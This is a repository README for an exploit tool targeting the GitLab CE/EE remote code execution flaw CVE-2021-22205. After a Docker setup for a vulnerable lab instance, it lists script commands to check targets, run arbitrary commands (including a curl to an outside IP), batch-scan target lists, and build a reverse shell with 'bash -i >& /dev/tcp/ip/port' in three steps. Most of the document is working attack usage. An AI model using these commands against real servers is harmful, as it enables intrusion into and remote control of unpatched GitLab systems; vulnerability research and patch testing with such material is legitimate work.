CVE-2021-22205& GitLab CE/EE RCE

Related tags

Security related resourcescve-2021-22205
Overview

Vuln Impact

An issue has been discovered in GitLab CE/EE affecting all versions starting from 11.9. GitLab was not properly validating image files that were passed to a file parser which resulted in a remote command execution.

Vuln Product

  • Gitlab CE/EE < 13.10.3
  • Gitlab CE/EE < 13.9.6
  • Gitlab CE/EE < 13.8.8

Environment

export GITLAB_HOME=/srv/gitlab

sudo docker run --detach \
  --hostname gitlab.example.com \
  --publish 443:443 --publish 80:80 \
  --name gitlab \
  --restart always \
  --volume $GITLAB_HOME/config:/etc/gitlab \
  --volume $GITLAB_HOME/logs:/var/log/gitlab \
  --volume $GITLAB_HOME/data:/var/opt/gitlab \
  gitlab/gitlab-ce:13.9.1-ce.0

Vunl Check

Basic usage
python3 CVE-2021-2205.py

img

Vuln check
python3 CVE-2021-2205.py -v true -t http://gitlab.example.com

img

command execute
python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "curl http://192.168.59.1:1234/1.txt"

attack

python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "echo 'Attacked by Al1ex!!!' > /tmp/1.txt"

attack_command1

attack_command2

batch scan
python3 CVE-2021-2205.py -s true -f target.txt

scan_result

Reserve Shell
python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "echo 'bash -i >& /dev/tcp/ip/port 0>&1' > /tmp/1.sh"

reverse_shell1

reverse_shell2

python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "chmod +x /tmp/1.sh"

reverse_shell3

reverse_shell4

python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "/bin/bahs /tmp/1.sh"

reverse_shell5

Reference

https://github.com/mr-r3bot/Gitlab-CVE-2021-22205

https://devcraft.io/2021/05/04/exiftool-arbitrary-code-execution-cve-2021-22204.html

Owner
Al1ex
Al1ex
GitHub Repository
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